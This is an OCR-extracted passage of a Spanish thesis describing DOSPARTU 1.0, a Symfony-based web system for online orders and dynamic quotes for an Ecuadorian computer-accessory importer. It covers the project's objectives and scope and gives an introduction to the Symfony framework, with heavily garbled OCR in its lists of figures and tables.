file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333481
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333482
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333483
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333484
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333485
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333486
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333487
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333488
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333489
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333490
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333491
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333492
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333493
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333494
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333495
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333496

Figura 40 Escenario Baja Categoria ....cccccceereeereesrerrcerreseesrensennsessesssessnnsssssssssssassssssssssssasssassssssssssssases 147

Figura 41 ESCENAIIO AL ccceeeeeeereeriiriiriinnitieisssiessiesst st sssisssissesssssssssassossssssssssssssssssssssssssssssnsesssess 148
Figura 42 Escenario Baja ProQUCIO ......ccccereererressnnssnrenessnnsennssssesssessnnsessssssessnsssssssssssssssssssssssssssssanss 149
Figura 43 Escenario Listar Usuarios RegIStratos.....cceereeereereeererneeseessenseereseessnnssnsseseessesssossesssssssssnnes 150
Figura 44 Escenario Eliminar Usuario RegiStrado.....cecceeveersersereserssensssiseseinssessessesscesssesssnsscannas 151
Figura 45 Escenario Listar PEAid0.....cccceeeereernrvesenrenrnsnessnssnnsnnssnnssnnssnsssnsssnssssssssssssssssssssssssssssanss 152
Figura 46 Cambio EStado Pedid0 .....ccccceecereerereesremrcenreeessenssnnsenessenssnnssansssssssnsssssssssessssssnssssssssssssanss 153
Figura 47 Arquitectura del SIStEMA  .ccceveereerrriiiertie sttt ses s s s ses s s 155
Figura 48 Navegacion BASICa 0 Siti0......cccevrrirsessrsersersersinsinsississssnsinsensississssssssssssssssssssssssssssssssssssses 157
Figura 49 Proceso para PEAIAO...ccccerereeerreremreersseesrnnsenrsseesssnsenssessesssesssssessasssssssssssssssssssssssasssssassssssasss 158
Figura 50 Flujo BAsSiCO AAMINISIIAON ......cceereeererrrrrrerrerersrenrenrsseessenssnnsssssssssssessssssssesssessssssssssssesssnns 159

Xiv


file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333497
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333498
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333500
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333501
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333502
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333503
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333504
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333505
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333506
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333507

Indice de tablas

Tabla 1 Métodos €N SYMFONY  ..cccveeeereeerresirerrerreteesssteesesstnesssssssssssssssessssssessssssessssssssssssssssessssssessssssessens 25
Tabla 2 Validadores POr AefECLO ...cccccvcerecererererensrnrenrnseessnsenesseessnnsenssssessnnsensssssessssssasssssessssssssssssassens 54
Tabla 3 Error VAHGAUOIES  ...cccveeveeirireieririesisieensteesesteesesstsssessssssessssssessssssessssssssssssssssessssssessssssessess 54
Tabla 4 Modelo eNtidad-TEIACION ....ceccceeeceeereerrerrretrcresseresresteeseesseessssesssessssssssessesssssssssesssessssssssessesssens 55
Tabla 5 CONSUITAT SECCION  .eecvirsveeriiriisnissinsiisiisisssssissssssissssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 84
Tabla 6 CONSUIAr CAtEJOIIA ..cccveeereerrrrrererersrenrretreeessenssnnsesnnssenssnnsssssssssssnssssssssssssesssasssssessesssassssssssens 85
Tabla 7 Consultar faMIla .....ccceeceeeeeieiiiircertr ettt s s 85
Tabla 8 CoNSUItAr aQrUPACION  ...cccveeeeereereerererrcctrenessnesenesesnnsssessnsssssssssessssssnssssssssssssasssssosssessnsssssassens 86
BRI o] F= e I STV ESIor: Ul o] oo (U Tox (o TSSO SR SRR S S 86
Tabla 10 CoNSUItAr PrOJUCIO ...ccceceeserseessissenssinsiissississsissinssessissssssssssssssssssssessssssssssssssssssssssssssssssesssssanas 87
Tabla 11 PrOfOIMA  eeeveeeeeercirireinccnrtrenesrenseatsssnessnessansssnessssssnsssssssssassssssssssssessssssssssssassssssnsssssassees 87
QLI o B Y - o 1 T=T o1 (N 88
Tabla 13 Afadir producto ProformMa  ....cccceeceeeeeriiiienecstrer ettt 88
Tabla 14 Modificar producto ProfOrmMa  ....cecceeeeseesimsessimssessinsississinsississssssisssesssssssssssssssssssssssesssssseas 89
Tabla 15 Eliminar producto proforMa .....ccceecceeeerceecreescenrennsseessnnsesssesssssnsssnssssssssssssnsssssessssssnssssssssees 89
Tabla 16 ElIMiNar Proforma .....cecceecereeieceestni et essisss s esscs s s sses st s s s s s s 90
Tabla 17 INICIAN SESION  ..eeeeeereerereererereeestesseesserestesssesssessssesssessssssssesssessssssasssssesssessssssssesssessssssssesssesens 92
TaDIa 18 CEITAI SESION ceciisvieirriississirssissinsisssinstesssssisssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 92
Tabla 19 Cambiar CONIrASERA ...ccceverrerererrirersirrieeirrieesessiresesstsssessssstessssssessssssesssssssssessssssessssssessssssessess 93
Tabla 20 RECUPErar CONIIASEAA  cccvvveesirsrrssisserssississsissinssessisssnssissssssesssssssssssssessssssssssssssssssssssssssssssnns 93
Tabla 21 CONSUILAN USUAKIO  .eeereererreseenreneresnessnnsscnssssesssessnssssnesssessnsssssssssessassssssssssssssssasssssassssssssssssassens 94
Tabla 22 MOGIfICAN USUAIIO  .eevveererireeeniriesnrieesnsteessstessesssssesssssssssssssessssssessssssssssssssssessssssessssssessess 94
Tabla 23 Realizar PEAIA0 ...ccccevesressirsrssininsintnsistissestsssst sttt ssse st ssss st sssssssssasssssssssssssssssnas 95
Tabla 24 Confirmar PEAIAO  ..ccveceeerveerrreireereriesctrrtesseessnseteeseessnsssnssssessnnsenssssssssssssassssssssssssnsssssassens 95
Tabla 25 INICIAT SESION  c.uevreveeririeeirirersirenestrsteestsstessssstesssssssssesssssssssssssessssssessssssssssssssssessssssessssssessess 96
TaDIA 26 CEITAN SESION ...eeererereerereerersrererteeseessesesstesssessssssssesssessssssssesssessssssasssssessssssssssssesssessssssssesssassens 97
Tabla 27 AIfB USUBIIO  cecciieieiiiesiinsinssissiiicsinssssssstsssssstsssssstsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 98
Tabla 28 CONSUITA USUBIIO  .eccvrvveeerrirenissinsissinsiessnsissssssissssssssssssssssesssssssssssssssssssssssssssssssssssssssssssssssssss 98
I o] F= 24 I AV, oo [ Tox= L g U ST U - U o L 99
Tabla 30 BAJa USUAKIO  .eeeereereerenrerniscnrenirsnnssenssansssnesssessnsssssssssessassssssssssssossssssssssssssssassssssssssssasssssossens 99
Tabla 31 AIQ QIUPO  cereeeeeeeceereerceircteceeseesenteseessesssnssessssssessssssssssssessesssasssssssssesssssssssssssssssssasssnsssnes 100
LI o] E= e YA 0o g TS0 = o o Lo T 101
Tabla 33 MOCITICAr QrUPO  ceceeseisersiiinsiisinsinsinsnsissssstsssssss st sssssssssss st sssssssssassssssssssssssssssssssssssssnes 102
TADIA 34 BAJO GIrUPO  ....oeeeeeeeeeeeeiiiiiiecesiiinnneesessssssssssssssssnssssssessssssssssssssssssssssssssssssssssssssnnssssssssssssssssns 102
LI Lo E= 1ol N g F= Vo [ U U U o 103
Tabla 36 QUILAN USUAKIO  .eeeveereererreinssnrennissinssissessnssssssnsssnssssssssssssassssssssssssasssssssssssssssssssssssssssssassns 103
Tabla 37 Alta CALEJOITA  cecveereerrerrcerrcircsiesrrescnnrenesseessnssesssessessssssasssssessssssasssssssssessssssansssssssssssanssssssnss 104
Tabla 38 COoNSUITA CALEYOIIA  ceceeereeereerreererrrererssenrssenssenssensssessseessensssnssssessesssssssssessssssasssssssssessassssnssns 105
Tabla 39 Modificar Categoria .....ccivrsesessesmsensirsinsiisissississsssnsessssstssessessssssssssssssssssssssssssssssssssssssssess 105
Tabla 40 Baja Categoria .ccecccerreremresmrssressrescnnrssnesseessnnsesssssessssssassssssssssssassssssssssssssssasssssssssssssnssasssnes 106
Tabla 41 ConsUlta FAMIlIA  .ceccevereeeerecreerereerercrre et secr s e s s s s sss e ssss s s snssanses 107

XV



I o] N Y (o Yo [ Tor= Y = 2 11 - 107

Tabla 43 Alta QTUPACION  ....eeveeeerrerecreaerrrensnrensserecrssesssressssssssssssssssssesssssssssssssnsssssssssssssssssssssssssses 109
Tabla 44 CoNnsUlta aQrUPACION.....cccererreerrerrerennresersrensrnnsesnrssnesssnssasssssssssessansssssssssssssssasssssssssassanssasssnss 109
Tabla 45 Modificacion agrupacCiOn ......cccccceccerereeereessnsennsseessnnssnsssssessssssanssssssssssssssssssssssssssssanssnssonss 110
Tabla 46 Baja aQrUPACION  ..cevceeeerereereererensnrenserecrssessnessssssssssssssssssssssssssssssssssssssssssssssssssssssssassses 110
Tabla 47 AQrupar PrOUUCTO ...ecceveereireseessnesenresnessenssnnsesssssessssssnssssssssssssssssssssssssssssssssssssssssssssssassonss 111
Tabla 48 Desagrupar PrOUUCIO ....cccecceeereerrrescnnrenesseessnssessssssessssssassssssssssssasssssssssessssssassssssssssssssssssssnes 111
Tabla 49 INCIUIT AQTUPACION  coeeeeereervreeererenstrenserecrssessssessssssssnsssssssssessssssssssssssssssssnsssssssssssssssansses 112
Tabla 50 CoNSUItAr PrOUUCTO  ...eceeeeeceerierincinninrtreissississnsssssis st sssesssssssss s sssssssssassssssssssssnnsans 114
Tabla 51 MOodIficar ProdUCIO  ..ecccereirereesrnerennreiesseessnnsennsssnessnnssnssessesssessnnsssssssssssssssassssssssssssanssassones 114
Tabla 52 ARAdIr reCOMENTACION  ..ccuveeereerveeirirersnrenretrerresessseesssssssssssssssesssssssssssssessssssssssssssssssssses 115
Tabla 53 Eliminar reCOMENUACION  ..ccceevereeeeerereeersrrcresnresnsserssnsssssssssssssssssssessssssssssssssssssssssssssssssssns 115
Tabla 54 ARAIT SUSLITUCION  cevueeeeeiiierciiiinsnsinssnsissssstssnscssssesssssstssssssssssssssssssssssssssssssssssssssssssssssnes 116
Tabla 55 ElMINAr SUSHITUCION  ..eevereeeeerireerereeseresnsntrnrenseeesssesesnssssssssesssnsssssssssssssssssssssssssssens 116
TaDIAa 56 AIA PAIS  ceuerevrerrerrenrerecrsererreererrensstrensstsesrssesssrssessssssssssssssssesssssssssssssssssssssssssssssssssssassses 117
Tabla 57 CONSUIA PAIS  ceerereerreeremrenirssiesriesennrssiessiessnnsesssssesssnssnsssssssssessanssssssssssssssssssssssssssssssssasssnss 118
Tabla 58 MOdIfiCACiON PAIS ..cccvererrerrrrresrrercnnrcressenssnsesnressessenssassssssssssssassssessssesssssssssssssssssssasssasssnss 118
Tabla 59 Baja PalS ..ccccccceerserseriiisiisisisisnniisinsisissistsssssssssasssssssssssssstssssssssssssssssssssssssssssssssssssssssssssns 119
Tabla 60 Alta PrOVINCIA  .cccceeereerreererreirssiessnnsennresiesssnssnsesssssessssssassssssssssssassssssssssssssssasssssssssssssnssasssnss 120
Tabla 61 CONSUILA PrOVINCIA  .ecvveereeererecreesrrescnnrenessressnnsessssssessssssnssesssssssssasssssssssessssssasssssssssessasssnsssnes 121
QLI o] F= e AV, oo [ Tox= o] 0 1Y7 T o - 121
TabIA 63 BAjO PrOVINCIA  ....eeeeeeeeriiiiiiciissssnnneessssissssssissssssnsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssns 122
TaDIA B4 AITA ZONA  eerveiiireiiireesiiiect ettt s st ssssesssssssssssessssssssssssssssssssssssssssssssssssssssssssssnes 124
LI o] E= ST o g TS0 | = o] o - 124
Tabla 66 MOAIfICA ZONA  ..eeveeereereircirrtrtrcnrtrtrenssssss st ss s sssssssssssssasssssssssssssnsssssssssssssssassans 125
TADIA 67 BOJO ZONA  ...ceeeeeeeeeeeereriiisssiessrsinnneessssssssssssssssssnsssssssssssssssssssssssssssssssssssssssssssssnnsssssssssssssssssns 125
TabIa 68 ASIQNAY PrOVINCIQ .........ccccueueeeeeeeeeeeeeeeeeeeeeesesssssssnnessssesssssssssssssssssssssssssssssssssssssssssssssssssssssssnns 126
Tabla 69 ASIGNAT PAIS  ceeceererceriirirrisiiiiesnsincissi sttt sssssssssssssss st st st st ssssssssssssssssssssssssssssssssssssssssssans 126
Tabla 70 GESHONAN POME  cceeerreercerrcnrrcresnescnnrenessressnnsessssssessssssasssssessssssasssssssssessssssanssssssssessanssasssnes 127
TADIA 71 ARBIEXIO  eerevreeiereererecereriretsiretsst s st s s e s sne s s s s s assssssssssassnssssssssssssssssssssssssssssssssassnes 128
Tabla 72 CONSUIA TEXIO  cevveeeeereerrerereeersresrssenessseesesesssssessssssesssssnssssssssssssssssssssassssssssssssssssssasssssases 128
Tabla 73 MOAIfICATEXIO  wivveeeiisirsiiiiinciiincisinsnsisssst st sssssstssssssssssssssssssssssssssssssssssssssssssssssnes 129
Tabla 74 BaJAtEXI0 .eeeevercerreeerrrnerirnnrisnensesnersssnesssssesessssssssesssssessssssssssssssssssssssssssasssssasssssssssssnssssasases 129
Tabla 75 CONSUItA SECCION  .ceeerereerreereereerrrenserensseresnssesssnssnssssssnssessssssessssssssssssanssssssssssssssssssssssassses 130
Tabla 76 CONSUItA BLIQUELAS  ceeeveeererrrcrerrrerennreirssenssnnsennsssnessnnssnssesssssssssansssssssssssssssssssssssssessanssnssones 131
Tabla 77 CONSUIA SECCION  eeereeeeeiririeciriretsirctsisesssstssssessssesesssstssssssssssssssssssssssssssssssssssssssssssssssnes 131
Tabla 78 Alta cliente / uSUArio regiStradi  ......ccccveccrerrrrmrsersiensinrereeessesss s ssssss s sssesssansans 133
Tabla 79 Consulta-cliente 0 USUAIIO FeQIStradl  .....cccecereersreerrnsenrenrsrnnssnsserssnessnsssenssssesssssenssnssones 133
Tabla 80 Modificacidn-cliente 0 USUArIO reQiStrato  .....ccceceereerrerreerererssenrsenssesssnssssnssssessessssnssssssnes 134
Tabla 81 Baja-cliente 0 USUArio regiStradi  ....cccccevrsersessensenssinsnssinsirsessissnssssssssssssssssssssssssssssssnsses 134
Tabla 82 Enviar Mail de reQiStI0  ....cceecerreremresirnsensrnreirssiessnnssssssssssnssssssssssssssssssssssssssssssssssssasssnss 135
Tabla 83 AlA PEUAIAD  eeeeerereeereercerrcrirceernnrcntretesseessnssessssssesssssensssssessssssasssssssssessssssassssssssssssanssasssnss 137
LI o] F= =T A o g TS0 = oo T [0 T 137

XVi



Tabla 85 MOIfiCar PEAID  .eevveervererrrrrresrrescnnreresseessnnsesnresnessenssasssssessesssasssssssssessssssassssssssssssasssasssnes 138

LI Lo Eo e CR = =V oo [T (o 138
Tabla 87 Afadir linea/producto al PEid0 ....cccceceeervereererrnreesreeretreeesrressnssnnesnnssenssassesssssssssenssnssonns 139
Tabla 88 Consulta linea/producto del PEAIdO ....cceeveeecereerereesrensrenreenererssensenereeessesssensessssssnssenssnssonns 139
Tabla 89 Modificar linea/producto del PEAIdD  ..cccevcerecreereererrrererrerersereereeseeecnssesecrssesserssessnsansses 140
Tabla 90 Quitar linea/producto del PEAIAD  ...ccceeverceeererererreerrreeerrecesteesnstsssnesessseesesssssssssssssnsseses 141
Tabla 91 Enviar Mail PEAITO ..ccceecererrereeireercnireienseessnerennnesnessesssnsssssesssssanssssssssessssssssssssssssessanssnsssnss 141

XVii



RESUMEN

Enfocados en mejorar la comercializacion y atencion a nuestros clientes se ha disefiado un
modelo que permita brindar un servicio de pedidos y elaboracion de proformas de una forma
dindmica de accesorios de computadora, ademas que permita personalizar la adquisicién de un
computador a través de la Web, permitiéndonos utilizar un nuevo canal de distribucion para
poder abrirse y crecer en otros mercados y en cualquier parte del Ecuador. Mediante la
utilizacion de esta tecnologia se brindara una herramienta muy Util para atender pedidos para la
empresa donde relacione al proveedor, intermediario, distribuidor y cliente. El tema de este
proyecto es muy importante ya que hace énfasis en la tecnologia que brinda el Internet. Los
avances hoy en dia sobre esta materia son muy alentadores, ya que se encuentra en un alto
crecimiento y en un boom tecnolégico. Con el desarrollo de este proyecto seremos pioneros en el
manejo de pedidos de productos a través del Internet, con una caracteristica fundamental que
sera la excelencia en servicio y la entrega de productos que iran variando segun las necesidades

del mercado.

Se llega a conocer mejor a los clientes, ya que tenemos mas informacion sobre ellos (productos
que visualizan, compras realizadas anteriormente y con ello los productos que le interesan, asi le
podemos ofrecer algo més personalizado, adaptado a sus gustos y preferencias). Con toda esta
informacion se nos presenta la oportunidad de poder ofrecerles un servicio postventa mas
personalizado a cada uno o algln tipo de oferta especial y, asi, intentar fidelizarlos de forma mas

efectiva.
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SUMMARY

Focused in improving the commercialization and attention to our clients a model it has been
designed that allows to offer a service of orders and elaboration of proformas in a dynamic way
of computer accessories, also that it allows to personalize the acquisition of a computer through
the Web, allowing us to use a new distribution channel to be able to open up and to grow in
other markets and in any part of the Ecuador. By means of the use of this technology you will
offer a very useful tool to assist orders for the company where it relates the supplier, middleman,
distributor and client. The topic of this project is very important since he makes emphasis in the
technology that the Internet toasts. The advances today in day on this matter they are very
encouraging, since it is in a high growth and in a technological boom. With the development of
this project we will be pioneer in the handling of orders of products through the Internet, with a
fundamental characteristic that will be the excellence in service and the delivery of products that

they will go varying according to the necessities of the market.

You ends up knowing the clients better, since we have more information on them (products that
visualize, buy carried out previously and with it the products that interest him, can offer this way
him something more custom, adapted to their likes and preferences). With this whole
information we are presented the opportunity to be able to offer a more custom after-sales
service to each one or some type of special offer and, this way, to attempt fidelizarlos in a more

effective way.
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DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

1. Introduccion

La importadora Jimemor Cia.Ltda, es una empresa dedicada a la distribucion de productos DELUX,
ubicada en la ciudad de Ibarra-Imbabura; creada hace seis afios gracias al apoyo de fabricantes como
Delux Technology, que contintan confiando en nuestra empresa, forjando mayores aportaciones
tecnoldgicas para el desarrollo de nuestra cultura tecnoldgica, ampliando la gama de productos y
facilitando su uso.
Misién: Nuestra Mision es ofrecer de manera oportuna periféricos de computadores de excelente
calidad con la Gltima tecnologia; permitiéndonos asi ser los mejores en el PAIS brindando soporte
directo del exportador de marca.
Vision: Nuestra Vision es ser una empresa orientada a brindar la mejor calidad de periféricos a todos
nuestros clientes los cuales confian en nosotros.
Valores:

Respeto

Honestidad

Lealtad

Honestidad

Gratitud

1.1. Definicion del Problema

Desde el inicio de las actividades econdmicas de la importadora IMEMOR CIA.LTDA, vya casi seis
afios ha venido evolucionando de acuerdo a las necesidades del mercado, para lograr un mejor
acercamiento con sus clientes.

El internet es un medio que hoy en dia ha venido evolucionando a pasos agigantados, y en donde
encontramos la oportunidad de aprovechar todas sus ventajas y facilidades para realizar negocios, que
mejoren notalmente las ganancias de nuestra empresa.

Es por eso que se propone desarrollar el SISTEMA DE GESTION DE PEDIDOS Y PROFORMAS
DINAMICAS, POR INTERNET PARA LA EMPRESA “JIMEMOR CIA.LTDA”
UTILIZANDO SYMFONY. Que permitira personalizar y agilizar la adquisicion de los productos que
la empresa disponga como son: CASE, TECLADOS, PARLANTES, MOUSE, CAMARAS WEB,
FUENTES DE PODER, MAINBOARD, PROCESADORES, DISCOS DUROS, MEMORIAS etc. en
diferentes marcas y modelos. Ademas el sistema permitira a sus clientes tipificar la adquisicion de un
equipo de computacion, permitiendo a sus clientes armar su PC virtualmente de acuerdo a sus
necesidades, presupuesto y complacencia. La implementacion de este sistema, mejorara el contacto con

nuestros clientes, evolucionando hacia las nuevas y mejores formas de realizar los negocios.
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1.2. Objetivos

1.2.1.

>

1.2.2.

Objetivo General

Implementar una Aplicacién Web que permita automatizar la generacion de pedidos y
proformas dindmicas, por internet.

Objetivos especificos

Realizar un estudio de SYMFONY orientado al desarrollo de aplicaciones web.

Definir las reglas del negocio, necesaria para implementar DOSPARTU 1.0 sistema de gestion
de pedidos y proformas dindmicas por internet.

Crear proformas dinamicas por medio de internet de una forma sencilla.

Generar notificaciones por medio de internet de cliente interesado en algin producto que
ofrece la empresa.

Permitir la consulta en tiempo real de productos y precios.

Enviar autométicamente notificaciones de novedades sobre promociones y precio de
productos.

Mejorar el servicio a clientes, optimizando procesos comerciales, reduciendo algunos proceso
de operacion.

Aumentar el nivel de competitividad.

Integrar la aplicacion web con el sistema de facturacion interno de la empresa.

1.3. Justificacion

El contacto con los clientes de la empresa JIMEMOR CIA.LTDA, se lo realiza de forma tradicional es

decir, telefénicamente, personalmente u otras formas comunes y precarias, generando una pérdida de

tiempo tanto para el cliente como para la empresa. Por lo que la implementacién de este sistema

garantiz

automat

ard que los clientes estén actualizados tanto en productos como en precios de una forma

ica y sencilla. Aumentando la capacidad de atencién a los mismos. Y lo mas importante sera el

cliente quien tendré la libertad y el control al momento de adquirir un computador o un producto que la

empresa disponga de acuerdo a sus necesidades.

La implementacion de la aplicacion web nos ayudara a:

>
>

Ofrecer un mejor servicio a clientes

Lograr los niveles de servicio y soporte deseados, a un bajo costo
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Generar nuevas oportunidades de negocio

Transmitir un mensaje de negocios a un mayor universo

Aumentar la dimensién de su mercado

Entrar a mercados en los que antes era dificil llegar por cuestiones de logistica o costos
Optimizar procesos comerciales

Reducir algunos costos de operacion

Negociar productos en linea

vV V V V V V V V

Transformar el negocio adaptandose a los nuevos esquemas de globalizacion
1.4. Alcance

La implementacion de la aplicacion web DOSPARTU 1.0 Sistema de Gestion de Pedidos y Proformas
Dindmicas por Internet, permitird automatizar la manera de realizar pedidos, facilitando a los clientes
personalizar la adquisicion de equipos de computacion.

Nuestra aplicacion tendra clasificados los productos por categorias, familias, fabricantes.

El usuario anénimo serd el que menos funcionalidades tenga, podra navegar por nuestra web, ver
productos y afadirlos para cotizar precios, pero no podra efectuar la finalizacion de la proforma o
realizar el pedido hasta que o se registre o se identifique, una vez realizada cualquiera de estas
operaciones se convertird en usuario registrado el cual ya podra finalizar realizar el pedido y/o
proformas de un computador a su gusto.

El usuario con mas privilegios sera el usuario administrador, que ademéas de disponer de las
funcionalidades anteriores podra gestionar el catalogo de productos, administrar clientes, categorias en
entre otras.

En resumen se trata de desarrollar una aplicacién para facilitar la venta de material informatico asi
como ayudar a su gestion, de una forma sencilla y clara para los usuarios y el administrador de la

aplicacion.
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2. Symfony como Framework para Desarrollar aplicaciones Web
2.1. Que es symfony

Un framework® simplifica el desarrollo de una aplicacion mediante la automatizacion de algunos de los
patrones utilizados para resolver las tareas comunes. Ademas, un framework proporciona estructura al
cadigo fuente, forzando al desarrollador a crear codigo mas legible y méas féacil de mantener. Por
altimo, un framework facilita la programacion® de aplicaciones, ya que encapsula operaciones
complejas en instrucciones sencillas.

Symfony® es un completo framework disefiado para optimizar, gracias a sus caracteristicas, el
desarrollo de las aplicaciones web®. Para empezar, separa la logica de negocio, la l6gica de servidor y
la presentacion de la aplicacion web. Proporciona varias herramientas y clases encaminadas a reducir el
tiempo de desarrollo de una aplicacién web compleja. Ademas, automatiza las tareas mas comunes,
permitiendo al desarrollador dedicarse por completo a los aspectos especificos de cada aplicacion. El
resultado de todas estas ventajas es que no se debe reinventar la rueda cada vez que se crea una nueva
aplicacion web.

Symfony esta desarrollado completamente con PHP® 5. Ha sido probado en numerosos proyectos
reales y se utiliza en sitios web de comercio electrénico de primer nivel. Symfony es compatible con la
mayoria de gestores de bases de datos, como MySQL, PostgreSQL, Oracle y SQL Server de Microsoft.

Se puede ejecutar tanto en plataformas *nix (Unix, Linux, etc.) como en plataformas Windows.

Symfony Project Created
Congratulations! ol have successfull created your symfony project

Project setup successful
This project uses the symfony fibraries. If you see no image in this page, you may need
ta configure your web server so that it gains access to the synfony_data/veh/s£/
directory

This is a temporary page

art of the symfony de £ault module. It will disappear as soon as you
epage route n your routing. ynl

What's next
& create your datamode!

Figura 1 Pantalla de Symfony
Fuente: [ http://www.librosweb.es/symfony_1_2/]

1 http://es.wikipedia.org/wiki/Framework

2 http://es.wikipedia.org/wiki/Programaci%C3%B3n

3 http://www.librosweb.es/symfony 1 2/capitulol/symfony_en_pocas_palabras.html

4 Es un sistema de distribucion de informacion basado en hipertexto o hipermedios enlazados y accesibles a través de Internet.
5 PHP (acrénimo Hypertext Preprocessor) es un lenguaje de codigo abierto muy popular especialmente adecuado para
desarrollo web
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2.2. Caracteristicas de Symfony

Entre las principales caracteristicas citaremos las siguientes:

Facil de instalar y configurar en la mayoria de plataformas (y con la garantia de que funciona
correctamente en los sistemas Windows® y *nix estandares).

Independiente del sistema gestor de bases de datos.

Sencillo de usar en la mayoria de casos, pero lo suficientemente flexible como para adaptarse a
los casos mas complejos.

Basado en la premisa de "convenir en vez de configurar"”, en la que el desarrollador solo debe
configurar aquello que no es convencional.

Sigue la mayoria de mejores practicas y patrones de disefio para la web.

Preparado para aplicaciones empresariales y adaptables a las politicas y arquitecturas propias
de cada empresa, ademas de ser lo suficientemente estable como para desarrollar aplicaciones
a largo plazo.

Codigo facil de leer que incluye comentarios de phpDocumentor’ y que permite un
mantenimiento muy sencillo.

Facil de extender, lo que permite su integracion con librerias desarrolladas por terceros.

Emplea el tradicional patron de disefio MVC®.

r——— """ """ "—"—"—"—"—"—"V—"=/"—"— 1
| Cliente

Internet

I
I Respuesta I
: Controlador :
I r Y [
| I
| |
| Vista |
| I
| I
| b I
| I
| Modelo [
: Sen.'idﬂrl

Figura 2 Modelo MVC
Fuente: [ http://www.librosweb.es/symfony_1_2/]

6 Nombre de una familia de Sistemas Operativos
7 Es un generador de documentacion de codigo abierto escrito en PHP
8 Modelo Vista Controlador (MVC) es un patrdn o modelo de abstraccion de desarrollo de software
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2.3. Proyecto, Aplicacion y Médulo
2.3.1. Proyecto

Symfony considera un proyecto como "un conjunto de servicios y operaciones disponibles bajo un

determinado nombre de dominio® y que comparten el mismo modelo de objetos".
2.3.2. Aplicacion

Normalmente, una aplicacién se ejecuta de forma independiente respecto de otras aplicaciones del
mismo proyecto
Lo habitual es que un proyecto contenga dos aplicaciones:
> Parte publica
> Parte de gestion
(Ambas comparten la misma base de datos)

Cada aplicacion esta formada por uno o0 mas moédulos.
2.3.3. Mddulo

Normalmente representa a una pagina web o a un grupo de paginas con un proposito relacionado. Por
ejemplo, una aplicacién podria tener médulos como home, articulos, ayuda, carritoCompra, cuenta etc.
Los madulos almacenan las acciones, que representan cada una de las operaciones que se puede
realizar en un mddulo. Por ejemplo el médulo carritoCompra puede definir acciones como afiadir,

mostrar y actualizar.
2.3.4. Representacion

La estructura basica de un proyecto desarrollado en Symfony se detalla en la siguiente figura tomada

como ejemplo ilustrativo.

9 Es el nombre que identifica un sitio web
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Proyecto blog

Aplicaciones frontend backend

[ | | I | [ I I ]
Madulos ‘artl:ulo comentario || rss || etiqueta |huscadnr usuario | | articule | | comentario ‘ blog |

— Lanadir \_ Llistar tformulan’u logout | jistar listar cnnﬂgurarJ

Acciones listarRecientes
listar resultado  |-biervenida [_mostrar mostrar
istarPerEtiqueta Llogin Lcrear horrar
editar
| borrar
- previsualizar

L anadirEtiqueta

Figura 3 Estructura de un proyecto
Fuente: [ http://www.librosweb.es/symfony_1_2/]

2.3.4.1. Directorios en la Raiz de los Proyectos de Symfony

>

apps/ Contiene un directorio por cada aplicacion del proyecto (normalmente, frontend y
backend para la parte publica y la parte de gestidn respectivamente).

batch/ Contiene los scripts’® de PHP que se ejecutan mediante la linea de comandos o
mediante la programacion de tareas para realizar procesos en lotes **(batch processes).

cache/ Contiene la version cacheada de la configuracion y (si esta activada) la versién
